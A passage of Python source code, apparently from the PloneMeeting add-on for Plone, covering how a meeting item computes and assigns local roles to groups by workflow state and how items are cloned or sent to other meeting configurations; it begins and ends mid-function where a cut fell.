_assign_roles_to_all_groups_managing_item_suffixes(self,\n cfg,\n item_state,\n org_uids,\n org_uid):\n '''See doc in interfaces.py.'''\n # by default, every suffixes receive Reader role\n item = self.getSelf()\n for managing_org_uid in org_uids:\n suffix_roles = {suffix: ['Reader'] for suffix in\n get_all_suffixes(managing_org_uid)}\n item._assign_roles_to_group_suffixes(managing_org_uid, suffix_roles)\n\n def assign_roles_to_group_suffixes(self, cfg, item_state):\n \"\"\"Method that do the work of assigning relevant roles to\n suffixed groups of an organization depending on current state :\n - suffix '_observers' will have 'Reader' role in every cases;\n - state 'itemcreated', _creators is 'Editor';\n - states managed by MeetingConfig.itemWFValidationLevels.\n For now, we manage every roles :\n - itemcreated;\n - validation levels\n For unknown states, method _get_corresponding_state_to_assign_local_roles\n will be used to determinate a known configuration to take into ccount\"\"\"\n adapted = self.adapted()\n # Add the local roles corresponding to the group managing the item\n org_uid = adapted._getGroupManagingItem(item_state, theObject=False)\n # in some case like ItemTemplate, we have no proposing group\n if not org_uid:\n return\n apply_meetingmanagers_access, suffix_roles = compute_item_roles_to_assign_to_suffixes(\n cfg, self, item_state, org_uid)\n\n # apply local roles to computed suffixes\n self._assign_roles_to_group_suffixes(org_uid, suffix_roles)\n\n # when more than one group managing item, make sure every groups get access\n org_uids = adapted._getAllGroupsManagingItem(item_state)\n if len(org_uids) > 1:\n adapted._assign_roles_to_all_groups_managing_item_suffixes(\n cfg, item_state, org_uids, org_uid)\n\n # MeetingManagers get access if item at least validated or decided\n # decided will include states \"decided out of meeting\"\n # if it is still not decided, it gets full access\n if apply_meetingmanagers_access:\n mmanagers_item_states = ['validated'] + list(cfg.getItemDecidedStates())\n if item_state in mmanagers_item_states or self.hasMeeting():\n mmanagers_group_id = \"{0}_{1}\".format(cfg.getId(), MEETINGMANAGERS_GROUP_SUFFIX)\n # 'Reviewer' also on decided item, the WF guard will\n # avoid correct if meeting closed, and give 'Contributor' to be\n # able to add decision annexes\n mmanagers_roles = ['Reader', 'Reviewer', 'Contributor']\n if not self.is_decided(cfg, item_state):\n mmanagers_roles += ['Editor']\n self.manage_addLocalRoles(mmanagers_group_id, tuple(mmanagers_roles))\n\n security.declareProtected(ModifyPortalContent, 'update_local_roles')\n\n def update_local_roles(self, reindex=True, avoid_reindex=False, **kwargs):\n '''Updates the local roles of this item, regarding :\n - the proposing group;\n - copyGroups;\n - advices;\n - power observers;\n - budget impact editors;\n - internal notes editors;\n - categorized elements (especially 'visible_for_groups');\n - then call a subscriber 'after local roles updated'.'''\n # remove every localRoles then recompute\n old_local_roles = _clear_local_roles(self)\n\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n item_state = self.query_state()\n # local_roles related indexes\n related_indexes = ['getCopyGroups', 'getGroupsInCharge']\n\n # update suffixes related local roles\n self.assign_roles_to_group_suffixes(cfg, item_state)\n\n # update local roles regarding copyGroups\n isCreated = kwargs.get('isCreated', None)\n self._updateCopyGroupsLocalRoles(isCreated, cfg, item_state)\n # Update advices after update_local_roles because it\n # reinitialize existing local roles\n triggered_by_transition = kwargs.get('triggered_by_transition', None)\n invalidate = kwargs.get('invalidate', False)\n inheritedAdviserUids = kwargs.get('inheritedAdviserUids', [])\n # reindex \"indexAdvisers\" if adviceIndex changed\n related_indexes += self._updateAdvices(\n cfg,\n item_state,\n invalidate=invalidate,\n triggered_by_transition=triggered_by_transition,\n inheritedAdviserUids=inheritedAdviserUids)\n # Update every 'power observers' local roles given to the\n # corresponding MeetingConfig.powerObsevers\n # it is done on every edit because of 'item_access_on' TAL expression\n self._updatePowerObserversLocalRoles(cfg, item_state)\n # update budget impact editors local roles\n self._updateBudgetImpactEditorsLocalRoles(cfg, item_state)\n # update internal notes editors local roles\n self._updateInternalNotesEditorsLocalRoles(cfg, item_state)\n # update committees editors local roles\n self._updateCommitteeEditorsLocalRoles(cfg, item_state)\n # update group in charge local roles\n # we will give the current groupsInCharge _observers sub group access to this item\n self._updateGroupsInChargeLocalRoles(cfg, item_state)\n # manage automatically given permissions\n _addManagedPermissions(self)\n # clean borg.localroles caching\n cleanMemoize(self, prefixes=['borg.localrole.workspace.checkLocalRolesAllowed'])\n # notify that localRoles have been updated\n notify(ItemLocalRolesUpdatedEvent(self, old_local_roles))\n # update annexes categorized_elements to store 'visible_for_groups'\n # do it only if local_roles changed\n # do not do it when isCreated, this is only possible when item duplicated\n # in this case, annexes are correct\n if not isCreated and old_local_roles != self.__ac_local_roles__:\n updateAnnexesAccess(self)\n # update categorized elements on contained advices too\n for advice in self.getAdvices():\n updateAnnexesAccess(advice)\n # propagate Reader local_roles to sub elements\n # this way for example users that have Reader role on item may view the advices\n self._propagateReaderAndMeetingManagerLocalRolesToSubObjects(cfg)\n # reindex object security except if avoid_reindex=True and localroles are the same\n # or if we are here after transition as WorkflowTool._reindexWorkflowVariables\n # will reindexObjectSecurity\n if not avoid_reindex or old_local_roles != self.__ac_local_roles__:\n # triggering transition will reindexObjectSecurity\n if not triggered_by_transition:\n self.reindexObjectSecurity()\n if reindex:\n self.reindexObject(idxs=related_indexes)\n return related_indexes\n\n def _propagateReaderAndMeetingManagerLocalRolesToSubObjects(self, cfg):\n \"\"\"Propagate the 'Reader' and 'MeetingManager' local roles to\n sub objects that are blocking local roles inheritance.\"\"\"\n objs = [obj for obj in self.objectValues()\n if getattr(obj, '__ac_local_roles_block__', False)]\n if objs:\n grp_reader_localroles = [\n grp_id for grp_id in self.__ac_local_roles__\n if 'Reader' in self.__ac_local_roles__[grp_id]]\n meetingmanager_group_id = get_plone_group_id(cfg.getId(), MEETINGMANAGERS_GROUP_SUFFIX)\n for obj in objs:\n # clear local roles then recompute\n # only Reader local roles are set, the Editor/Contributor\n # local roles are set by borg.localroles\n _clear_local_roles(obj)\n for grp_id in grp_reader_localroles:\n obj.manage_addLocalRoles(grp_id, ['Reader'])\n obj.manage_addLocalRoles(meetingmanager_group_id, ['MeetingManager'])\n\n def _updateCopyGroupsLocalRoles(self, isCreated, cfg, item_state):\n '''Give the 'Reader' local role to the copy groups\n depending on what is defined in the corresponding meetingConfig.'''\n if not self.attribute_is_used('copyGroups'):\n return\n # Check if some copyGroups must be automatically added\n self.addAutoCopyGroups(isCreated=isCreated)\n\n # check if copyGroups should have access to this item for current review state\n if item_state not in cfg.getItemCopyGroupsStates():\n return\n # Add the local roles corresponding to the selected copyGroups.\n # We give the 'Reader' role to the selected groups.\n # This will give them a read-only access to the item.\n copyGroupIds = self.getAllCopyGroups(auto_real_plone_group_ids=True)\n for copyGroupId in copyGroupIds:\n self.manage_addLocalRoles(copyGroupId, (READER_USECASES['copy_groups'],))\n\n def _updatePowerObserversLocalRoles(self, cfg, item_state):\n '''Give local roles to the groups defined in MeetingConfig.powerObservers.'''\n extra_expr_ctx = _base_extra_expr_ctx(self)\n extra_expr_ctx.update({'item': self, })\n cfg_id = cfg.getId()\n for po_infos in cfg.getPowerObservers():\n if item_state in po_infos['item_states'] and \\\n _evaluateExpression(self,\n expression=po_infos['item_access_on'],\n extra_expr_ctx=extra_expr_ctx):\n powerObserversGroupId = \"%s_%s\" % (cfg_id, po_infos['row_id'])\n self.manage_addLocalRoles(powerObserversGroupId,\n (READER_USECASES['powerobservers'],))\n\n def _updateBudgetImpactEditorsLocalRoles(self, cfg, item_state):\n '''Configure local role for use case 'budget_impact_reviewers' to the corresponding\n MeetingConfig 'budgetimpacteditors' group.'''\n if item_state not in cfg.getItemBudgetInfosStates():\n return\n budgetImpactEditorsGroupId = \"%s_%s\" % (cfg.getId(), BUDGETIMPACTEDITORS_GROUP_SUFFIX)\n self.manage_addLocalRoles(budgetImpactEditorsGroupId, ('MeetingBudgetImpactEditor',))\n\n def _updateInternalNotesEditorsLocalRoles(self, cfg, item_state):\n '''Add local roles depending on MeetingConfig.\n We use the IIconifiedInfos adapter that computes groups to give local roles to.'''\n if not self.attribute_is_used('internalNotes'):\n return\n # as computing groups for internal notes is the same as computing groups\n # for access to confidential annexes, we use the code in the IIconifiedInfos adapter\n adapter = getAdapter(self, IIconifiedInfos)\n adapter.parent = self\n group_ids = adapter._item_visible_for_groups(\n adapter.cfg.getItemInternalNotesEditableBy())\n for group_id in group_ids:\n self.manage_addLocalRoles(group_id, ('MeetingInternalNotesEditor',))\n\n def _updateCommitteeEditorsLocalRoles(self, cfg, item_state):\n '''Add local roles depending on MeetingConfig.committees.'''\n if item_state in cfg.getItemCommitteesStates():\n local_roles = (\"MeetingCommitteeEditor\", \"Reader\")\n elif item_state in cfg.getItemCommitteesViewStates():\n local_roles = (\"Reader\", )\n else:\n return\n cfg_id = cfg.getId()\n for committee_id in self.getCommittees():\n if committee_id != NO_COMMITTEE and \\\n cfg.getCommittees(committee_id=committee_id)['enable_editors'] == \"1\":\n self.manage_addLocalRoles(\n get_plone_group_id(cfg_id, committee_id), local_roles)\n\n def _updateGroupsInChargeLocalRoles(self, cfg, item_state):\n '''Get the current groupsInCharge and give View access to the _observers Plone group.'''\n if item_state not in cfg.getItemGroupsInChargeStates():\n return\n groupsInChargeUids = self.getGroupsInCharge(theObjects=False, includeAuto=True)\n for groupInChargeUid in groupsInChargeUids:\n observersPloneGroupId = get_plone_group_id(groupInChargeUid, 'observers')\n self.manage_addLocalRoles(observersPloneGroupId, (READER_USECASES['groupsincharge'],))\n\n def _historizeAdvicesOnItemEdit(self):\n \"\"\"When item is edited, historize advices if necessary, it is the case if advice was\n really given and is not hidden during redaction.\"\"\"\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n if cfg.getHistorizeAdviceIfGivenAndItemModified():\n for advice_id, adviceInfo in self.adviceIndex.items():\n if not self._advice_is_given(advice_id):\n continue\n adviceObj = self.get(adviceInfo['advice_id'])\n adviceObj.historize_if_relevant(comment='Historized because item was edited.')\n\n def _advice_is_given(self, advice_id):\n \"\"\"Return True if advice is not given.\"\"\"\n is_given = True\n advice_info = self.adviceIndex.get(advice_id, {})\n if not advice_info or \\\n advice_info['type'] in (NOT_GIVEN_ADVICE_VALUE, 'asked_again') or \\\n advice_info['hidden_during_redaction']:\n is_given = False\n return is_given\n\n security.declareProtected(ModifyPortalContent, 'initializeArchetype')\n\n def initializeArchetype(self, **kwargs):\n '''Override to call item_added_or_initialized to make plone.restapi happy.'''\n item_added_or_initialized(self)\n return BaseFolder.initializeArchetype(self, **kwargs)\n\n security.declareProtected(ModifyPortalContent, 'processForm')\n\n def processForm(self, data=1, metadata=0, REQUEST=None, values=None):\n ''' '''\n if not self.isTemporary():\n # Remember previous data if historization is enabled.\n self._v_previousData = rememberPreviousData(self)\n # Historize advice that were still not, this way we ensure that\n # given advices are historized with right item data\n if hasattr(self, 'adviceIndex'):\n self._historizeAdvicesOnItemEdit()\n # unmark deferred SearchableText reindexing\n setattr(self, REINDEX_NEEDED_MARKER, False)\n return BaseFolder.processForm(\n self, data=data, metadata=metadata, REQUEST=REQUEST, values=values)\n\n security.declarePublic('showOptionalAdvisers')\n\n def showOptionalAdvisers(self):\n '''Show 'MeetingItem.optionalAdvisers' if the \"advices\" functionality\n is enabled and if there are selectable optional advices.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n res = False\n if cfg.getUseAdvices():\n vocab = self.getField('optionalAdvisers').Vocabulary(self)\n res = bool(vocab)\n return res\n\n security.declarePublic('isVotesEnabled')\n\n def isVotesEnabled(self):\n '''Returns True if the votes are enabled.'''\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n return cfg.getUseVotes()\n\n security.declarePublic('getSiblingItem')\n\n def getSiblingItem(self, whichItem, itemNumber=True):\n '''If this item is within a meeting, this method returns the itemNumber of\n a sibling item that may be accessed by the current user. p_whichItem\n can be:\n - 'all' (return every possible ways here under);\n - 'previous' (the previous item within the meeting);\n - 'next' (the next item item within the meeting);\n - 'first' (the first item of the meeting);\n - 'last' (the last item of the meeting).\n If there is no sibling (or if it has no sense to ask for this\n sibling), the method returns None.\n If p_itemNumber is True (default), we return the getItemNumber.\n '''\n sibling = {'first': None, 'last': None, 'next': None, 'previous': None}\n if self.hasMeeting():\n meeting = self.getMeeting()\n # use catalog query so returned items are really accessible by current user\n brains = meeting.get_items(ordered=True, the_objects=False)\n itemUids = [brain.UID for brain in brains]\n itemUid = self.UID()\n itemUidIndex = itemUids.index(itemUid)\n if whichItem == 'previous' or whichItem == 'all':\n # Is a previous item available ?\n if not itemUidIndex == 0:\n sibling['previous'] = brains[itemUidIndex - 1]\n if whichItem == 'next' or whichItem == 'all':\n # Is a next item available ?\n if not itemUidIndex == len(itemUids) - 1:\n sibling['next'] = brains[itemUidIndex + 1]\n if whichItem == 'first' or whichItem == 'all':\n sibling['first'] = brains[0]\n if whichItem == 'last' or whichItem == 'all':\n sibling['last'] = brains[-1]\n if sibling and itemNumber:\n # turn value (brain) into item number value (like 800)\n sibling = {key: value and value._unrestrictedGetObject().getItemNumber() or None\n for key, value in sibling.items()}\n return sibling.get(whichItem, sibling)\n\n security.declarePublic('showDuplicateItemAction')\n\n def showDuplicateItemAction(self):\n '''Condition for displaying the 'duplicate' action in the interface.\n Returns True if the user can duplicate the item.'''\n # Conditions for being able to see the \"duplicate an item\" action:\n # - the functionnality is enabled in MeetingConfig;\n # - the item is not added in the configuration;\n # - the user is creator in some group;\n # - the user must be able to see the item if it is secret.\n # The user will duplicate the item in his own folder.\n tool = api.portal.get_tool('portal_plonemeeting')\n cfg = tool.getMeetingConfig(self)\n if not cfg.getEnableItemDuplication() or \\\n self.isDefinedInTool() or \\\n not tool.userIsAmong(['creators'], cfg=cfg) or \\\n not self.adapted().isPrivacyViewable():\n return False\n return True\n\n def _mayClone(self, cloneEventAction=None):\n \"\"\" \"\"\"\n # first check that we are not trying to clone an item\n # we can not access because of privacy status\n # do this check if we are not creating an item from an itemTemplate\n # because if a proposingGroup is defined, it will not be\n # privacyViewable and using such an item template will always fail...\n if not self.isDefinedInTool() and not self.adapted().isPrivacyViewable():\n raise Unauthorized\n\n # 'duplicate' and 'duplicate and keep link'\n if cloneEventAction in (DUPLICATE_EVENT_ACTION, DUPLICATE_AND_KEEP_LINK_EVENT_ACTION) and \\\n not self.showDuplicateItemAction():\n raise Unauthorized\n\n security.declarePrivate('clone')\n\n def clone(self, copyAnnexes=True, copyDecisionAnnexes=False, newOwnerId=None,\n cloneEventAction=None, cloneEventActionLabel=None, destFolder=None,\n copyFields=DEFAULT_COPIED_FIELDS, newPortalType=None, keepProposingGroup=False,\n setCurrentAsPredecessor=False, manualLinkToPredecessor=False,\n inheritAdvices=False, inheritedAdviceUids=[], keep_ftw_labels=False,\n keptAnnexIds=[], keptDecisionAnnexIds=[], item_attrs={}, reindexNewItem=True):\n '''Clones me in the PloneMeetingFolder of the current user, or\n p_newOwnerId if given (this guy will also become owner of this\n item). If there is a p_cloneEventAction, an event will be included\n in the cloned item's history, indicating that is was created from\n another item (useful for delayed items, but not when simply\n duplicating an item). p_copyFields will contains a list of fields\n we want to keep value of, if not in this list, the new field value\n will be the default value for this field.\n If p_keepProposingGroup, the proposingGroup in ToolPloneMeeting.pasteItem\n no matter current user is not member of that group.\n If p_setCurrentAsPredecessor, current item will be set as predecessor\n for the new item, concomitantly if p_manualLinkToPredecessor is True and\n optional field MeetingItem.manuallyLinkedItems is enabled, this will create\n a manualLink to the predecessor, otherwise, the linked_predecessor_uid is used\n and the link is unbreakable (at least thru the UI).\n If p_inheritAdvices is True, advices will be inherited from predecessor,\n this also needs p_setCurrentAsPredecessor=True and p_manualLinkToPredecessor=False.\n When p_copyAnnexes=True, we may give a p_keptAnnexIds, if so, only annexes\n with those ids are kept, if not, every annexes are kept.\n Same for p_copyDecisionAnnexes/p_keptDecisionAnnexIds.\n The given p_item_attrs will be arbitrary set on new item before it is reindexed.'''\n\n # check if may clone\n self._mayClone(cloneEventAction)\n\n # Get the PloneMeetingFolder of the current user as destFolder\n tool = api.portal.get_tool('portal_plonemeeting')\n userId = get_current_user_id(self.REQUEST)\n # make sure the newOwnerId exist (for example a user created an item, the\n # user was deleted and we are now cloning his item)\n if newOwnerId and not api.user.get(userid=newOwnerId):\n newOwnerId = userId\n # Do not use \"not destFolder\" because destFolder is an ATBTreeFolder\n # and an empty ATBTreeFolder will return False while testing destFolder.\n cfg = tool.getMeetingConfig(self)\n if destFolder is None:\n destFolder = tool.getPloneMeetingFolder(cfg.getId(), newOwnerId)\n # if we are cloning to the same mc, keep some more fields\n same_mc_types = (None,\n cfg.getItemTypeName(),\n cfg.getItemTypeName('MeetingItemTemplate'),\n cfg.getItemTypeName('MeetingItemRecurring'))\n cloned_to_same_mc = newPortalType in same_mc_types\n if cloned_to_same_mc:\n copyFields = copyFields + EXTRA_COPIED_FIELDS_SAME_MC\n cloned_from_item_template = self.portal_type == cfg.getItemTypeName('MeetingItemTemplate')\n if cloned_from_item_template:\n copyFields = copyFields + EXTRA_COPIED_FIELDS_FROM_ITEM_TEMPLATE\n # Check if an external plugin want to add some copyFields\n copyFields = copyFields + self.adapted().getExtraFieldsToCopyWhenCloning(\n cloned_to_same_mc, cloned_from_item_template)\n\n # clone\n # Copy/paste item into the folder, change portal_type on source\n # so it is correct in copiedData and may be used in events\n original_portal_type = self.portal_type\n self.portal_type = newPortalType or original_portal_type\n copiedData = self.aq_inner.aq_parent.manage_copyObjects(ids=[self.id])\n newItem = tool.pasteItem(destFolder,\n copiedData,\n copyAnnexes=copyAnnexes,\n copyDecisionAnnexes=copyDecisionAnnexes,\n newOwnerId=newOwnerId, copyFields=copyFields,\n newPortalType=newPortalType,\n keepProposingGroup=keepProposingGroup,\n keep_ftw_labels=keep_ftw_labels,\n keptAnnexIds=keptAnnexIds,\n keptDecisionAnnexIds=keptDecisionAnnexIds)\n self.portal_type = original_portal_type\n\n # special handling for some fields kept when cloned_to_same_mc\n # we check that used values on original item are still useable for cloned item\n # in case configuration changed since original item was created\n dest_cfg = tool.getMeetingConfig(newItem)\n if 'otherMeetingConfigsClonableTo' in copyFields:\n clonableTo = set([mc['meeting_config'] for mc in dest_cfg.getMeetingConfigsToCloneTo()])\n # make sure we only have selectable otherMeetingConfigsClonableTo\n newItem.setOtherMeetingConfigsClonableTo(\n tuple(set(self.getOtherMeetingConfigsClonableTo()).intersection(clonableTo)))\n if 'copyGroups' in copyFields:\n copyGroups = list(self.getCopyGroups())\n selectableCopyGroups = 'copyGroups' in dest_cfg.getUsedItemAttributes() and \\\n dest_cfg.getSelectableCopyGroups() or []\n # make sure we only have selectable copyGroups\n newItem.setCopyGroups(\n tuple(set(copyGroups).intersection(set(selectableCopyGroups))))\n if 'optionalAdvisers' in copyFields:\n optionalAdvisers = list(newItem.getOptionalAdvisers())\n advisers_vocab = get_vocab(\n newItem,\n newItem.getField('optionalAdvisers').vocabulary_factory,\n **{'include_selected': False, 'include_not_selectable_values': False})\n selectableAdvisers = advisers_vocab.by_token\n # make sure we only have selectable advisers\n newItem.setOptionalAdvisers(\n tuple(set(optionalAdvisers).intersection(set(selectableAdvisers))))\n\n # automatically set current item as predecessor for newItem?\n inheritedAdviserUids = []\n if setCurrentAsPredecessor:\n if manualLinkToPredecessor:\n newItem.setManuallyLinkedItems([self.UID()])\n else:\n newItem._update_predecessor(self)\n # manage inherited adviceIds\n if inheritAdvices:\n inheritedAdviserUids = [org_uid for org_uid in self.adviceIndex.keys()\n if (not inheritedAdviceUids or org_uid in inheritedAdviceUids) and\n newItem.couldInheritAdvice(org_uid)]\n\n # set arbitrary attrs before reindexing\n for attr_id, attr_value in item_attrs.items():\n field = newItem.getField(attr_id)\n field.getMutator(newItem)(attr_value)\n\n if cloneEventAction:\n # We are sure that there is only one key in the workflow_history\n # because it was cleaned by ToolPloneMeeting.pasteItem\n # use cloneEventActionLabel or generate a msgid based on cloneEventAction\n action_label = cloneEventActionLabel or cloneEventAction + '_comments'\n add_wf_history_action(newItem,\n action_name=cloneEventAction,\n action_label=action_label,\n user_id=userId)\n\n newItem.at_post_create_script(inheritedAdviserUids=inheritedAdviserUids)\n\n # notify that item has been duplicated so subproducts may interact if necessary\n notify(ItemDuplicatedEvent(self, newItem))\n\n # while self.reindexObject() is called without indexes\n # a notifyModified is done, do it also or the modified of cloned item is not updated\n newItem.notifyModified()\n # cloned item is originally reindexed but as we changed things after we reindex here\n # regarding everything that may have changed, including things done in the ItemDuplicatedEvent\n # excepted heavy indexes, so ZCTextIndexes\n if reindexNewItem:\n reindex_object(newItem, no_idxs=['SearchableText', 'Title', 'Description'])\n\n # add logging message to fingerpointing log\n extras = 'object={0} clone_event={1}'.format(\n repr(newItem), cloneEventAction)\n fplog('clone_item', extras=extras)\n return newItem\n\n def get_enable_clone_to_other_mc_fields(self, cfg, ignored_field_names=[]):\n \"\"\"Return the ids of 'otherMeetingConfigsClonableToFieldXXX' that are enabled.\"\"\"\n return [field_name for field_name in self.Schema().keys()\n if field_name in cfg.getUsedItemAttributes() and\n field_name.startswith('otherMeetingConfigsClonableToField') and\n field_name not in ignored_field_names]\n\n security.declarePublic('doCloneToOtherMeetingConfig')\n\n def doCloneToOtherMeetingConfig(self, destMeetingConfigId):\n '''Action used by the 'clone to other config' button.'''\n self.cloneToOtherMeetingConfig(destMeetingConfigId)\n\n def _otherMCMeetingToBePresentedIn(self, destMeetingConfig):\n \"\"\"Returns the logical meeting the item should be presented in\n when it will be sent to given p_destMeetingConfig.\"\"\"\n if destMeetingConfig.getId() in self.getOtherMeetingConfigsClonableToEmergency():\n meetingsAcceptingItems = destMeetingConfig.getMeetingsAcceptingItems(\n inTheFuture=True)\n else:\n wfTool = api.portal.get_tool('portal_workflow')\n meetingWF = wfTool.getWorkflowsFor(destMeetingConfig.getMeetingTypeName())[0]\n meetingsAcceptingItems = destMeetingConfig.getMeetingsAcceptingItems(\n review_states=(wfTool[meetingWF.getId()].initial_state, ),\n inTheFuture=True)\n res = None\n if meetingsAcceptingItems:\n res = meetingsAcceptingItems[0]._unrestrictedGetObject()\n return res\n\n security.declarePrivate('cloneToOtherMeetingConfig')\n\n def cloneToOtherMeetingConfig(self, destMeetingConfigId, automatically=False):\n '''Sends this meetingItem to another meetingConfig whose id is\n p_destMeetingConfigId.\n If p_automatically is True it means that we are sending the item\n using the automatic way, either it means we are sending it manually.\n If defined in the configuration, different transitions will be triggered on\n the cloned item if p_automatically is True.\n In any case, a link to the source item is made.'''\n if not self.adapted().mayCloneToOtherMeetingConfig(destMeetingConfigId, automatically):\n # If the user came here, he even does not deserve a clear message ;-)\n raise Unauthorized\n\n wfTool = api.portal.get_tool('portal_workflow')\n tool = api.portal.get_tool('portal_plonemeeting')\n plone_utils = api.portal.get_tool('plone_utils')\n destMeetingConfig = getattr(tool, destMeetingConfigId, None)\n cfg = tool.getMeetingConfig(self)\n\n # This will get the destFolder or create it if the current user has the permission\n # if not, then we return a message\n try:\n destFolder = tool.getPloneMeetingFolder(destMeetingConfigId,\n self.Creator())\n except ValueError:\n # While getting the destFolder, it could not exist, in this case\n # we return a clear message\n plone_utils.addPortalMessage(translate('sendto_inexistent_destfolder_error',\n mapping={'meetingConfigTitle': destMeetingConfig.Title()},\n domain=\"PloneMeeting\", context=self.REQUEST),\n type='error')\n return\n # The owner of the new item will be the same as the owner of the\n # original item.\n newOwnerId = self.Creator()\n cloneEventAction = 'create_to_%s_from_%s' % (destMeetingConfigId,\n cfg.getId())\n fieldsToCopy = list(DEFAULT_COPIED_FIELDS)\n destUsedItemAttributes = destMeetingConfig.getUsedItemAttributes()\n # do not keep optional fields that are not used in the destMeetingConfig\n optionalFields = cfg.listUsedItemAttributes().keys()\n # iterate a copy of fieldsToCopy as we change it in the loop\n for field in list(fieldsToCopy):\n if field in optionalFields and field not in destUsedItemAttributes:\n # special case for 'groupsInCharge' that works alone or\n # together with 'proposingGroupWithGroupInCharge'\n if field == 'groupsInCharge' and \\\n 'proposingGroupWithGroupInCharge' in destUsedItemAttributes:\n continue\n fieldsToCopy.remove(field)\n # special case for 'budgetRelated' that works together with 'budgetInfos'\n if field == 'budgetInfos':\n fieldsToCopy.remove('budgetRelated')\n\n contentsKeptOnSentToOtherMC = cfg.getContentsKeptOnSentToOtherMC()\n keepAdvices = 'advices' in contentsKeptOnSentToOtherMC\n keptAdvices = keepAdvices and cfg.getAdvicesKeptOnSentToOtherMC(as_org_uids=True, item=self) or []\n copyAnnexes = 'annexes' in contentsKeptOnSentToOtherMC\n copyDecisionAnnexes = 'decision_annexes' in contentsKeptOnSentToOtherMC\n newItem = self.clone(copyAnnexes=copyAnnexes,\n copyDecisionAnnexes=copyDecisionAnnexes,\n newOwnerId=newOwnerId,\n cloneEventAction=cloneEventAction,\n destFolder=destFolder, copyFields=fieldsToCopy,\n newPortalType=destMeetingConfig.getItemTypeName(),\n keepProposingGroup=True, setCurrentAsPredecessor=True,\n inheritAdvices=keepAdvices, inheritedAdviceUids=keptAdvices,\n reindexNewItem=False)\n # manage categories mapping, if original and new items use\n # categories, we check if a mapping is defined in the configuration of the original item\n originalCategory = self.getCategory(theObject=True)\n if originalCategory and \"category\" in destUsedItemAttributes:\n # find out if something is defined when sending an item to destMeetingConfig\n for destCat in originalCategory.category_mapping_when_cloning_to_other_mc:\n if destCat.split('.')[0] == destMeetingConfigId:\n # we found a mapping defined for the new category, apply it\n # get the category so it fails if it does not exist (that should not be possible...)\n newCat = getattr(destMeetingConfig.categories, destCat.split('.')[1])\n newItem.setCategory(newCat.getId())\n break\n\n # find meeting to present the item in and set it as preferred\n # this way if newItem needs to be presented in a frozen meeting, it works\n # as it requires the preferredMeeting to be the frozen meeting\n meeting = self._otherMCMeetingToBePresentedIn(destMeetingConfig)\n if meeting:\n newItem.setPreferredMeeting(meeting.UID())\n # handle 'otherMeetingConfigsClonableToPrivacy' of original item\n if destMeetingConfigId in self.getOtherMeetingConfigsClonableToPrivacy() and \\\n 'privacy' in destUsedItemAttributes:\n newItem.setPrivacy('secret')\n\n # handle 'otherMeetingConfigsClonableToFieldXXX' of original item\n for other_mc_field_name in self.get_enable_clone_to_other_mc_fields(cfg):\n # first check if original field not empty\n if self.fieldIsEmpty(other_mc_field_name):\n continue\n other_mc_field = self.getField(other_mc_field_name)\n other_mc_field_value = other_mc_field.get(self)\n dest_field_name = other_mc_field_name.replace('otherMeetingConfigsClonableToField', '')\n dest_field_name = dest_field_name[0].lower() + dest_field_name[1:]\n dest_field = newItem.getField(dest_field_name)\n dest_field.set(newItem, other_mc_field_value)\n\n # execute some transitions on the newItem if it was defined in the cfg\n # find the transitions to trigger\n triggerUntil = NO_TRIGGER_WF_TRANSITION_UNTIL\n for mctct in cfg.getMeetingConfigsToCloneTo():\n if mctct['meeting_config'] == destMeetingConfigId:\n triggerUntil = mctct['trigger_workflow_transitions_until']\n # if transitions to trigger, trigger them!\n # this is only done when item is cloned automatically or current user isManager\n if not triggerUntil == NO_TRIGGER_WF_TRANSITION_UNTIL and \\\n (automatically or tool.isManager(cfg)):\n # triggerUntil is like meeting-config-xxx.validate, get the real transition\n triggerUntil = triggerUntil.split('.')[1]\n wf_comment = translate('transition_auto_triggered_item_sent_to_this_config',\n domain='PloneMeeting',\n context=self.REQUEST)\n # save original published object in case we are presenting\n # several items in a meeting and some are sent to another MC then presented\n # to a meeting of this other MB\n originalPublishedObject = self.REQUEST.get('PUBLISHED')\n # do this as Manager to be sure that transitions may be triggered\n with api.env.adopt_roles(roles=['Manager']):\n destCfgTitle = safe_unicode(destMeetingConfig.Title())\n # we will warn user if some transitions may not be triggered and\n # triggerUntil is not reached\n need_to_warn = True\n # try to bypass by using the \"validate\" shortcut\n if triggerUntil in [\"validate\", \"present\"] and \\\n \"validate\" in get_transitions(newItem):\n wfTool.doActionFor(newItem, \"validate\")\n for tr in destMeetingConfig.getTransitionsForPresentingAnItem(\n org_uid=newItem.getProposingGroup()):\n # special handling for the 'present' transition\n # that needs a meeting as 'PUBLISHED' object to work\n if tr == 'present' and \\\n not isinstance(newItem.wfConditions()._check_required_data(\"presented\"), No):\n if not meeting:\n plone_utils.addPortalMessage(\n _('could_not_present_item_no_meeting_accepting_items',\n mapping={'destMeetingConfigTitle': destCfgTitle}),\n 'warning')\n # avoid double warning message\n need_to_warn = False\n break\n newItem.REQUEST['PUBLISHED'] = meeting\n # trigger transition if available\n was_triggered = False\n if tr in get_transitions(newItem):\n wfTool.doActionFor(newItem, tr, comment=wf_comment)\n was_triggered = True\n # if we reach the triggerUntil transition, stop\n if tr == triggerUntil:\n if was_triggered:\n need_to_warn = False\n break\n # warn if triggerUntil was not reached\n if need_to_warn:\n plone_utils.addPortalMessage(\n translate('could_not_trigger_transition_for_cloned_item',\n mapping={'meetingConfigTitle': destCfgTitle},\n domain=\"PloneMeeting\",\n context=self.REQUEST),\n type='warning')\n # set back originally PUBLISHED object\n self.REQUEST.set('PUBLISHED', originalPublishedObject)\n\n # Save that the element has been cloned to another meetingConfig\n annotation_key = self._getSentToOtherMCAnnotationKey(destMeetingConfigId)\n ann = IAnnotations(self)\n ann[annotation_key] = newItem.UID()\n\n # When an item is duplicated, if it was sent from a MeetingConfig to\n # another, we will add a line in the original item history specifying that\n # it was sent to another meetingConfig. The 'new item' already have\n # a line added to his workflow_history.\n # add a line to the original item history\n action_label = translate(\n 'sentto_othermeetingconfig',\n domain=\"PloneMeeting\",\n context=self.REQUEST,\n mapping={'meetingConfigTitle': safe_unicode(destMeetingConfig.Title())})\n action_name = destMeetingConfig._getCloneToOtherMCActionTitle(destMeetingConfig.Title())\n # add an event to the workflow history\n add_wf_history_action(self, action_name=action_name, action_label=action_label)\n\n # Send an email to the user being able to modify the new item if relevant\n mapping = {'originMeetingConfigTitle': safe_unicode(cfg.Title()), }\n sendMailIfRelevant(newItem,\n 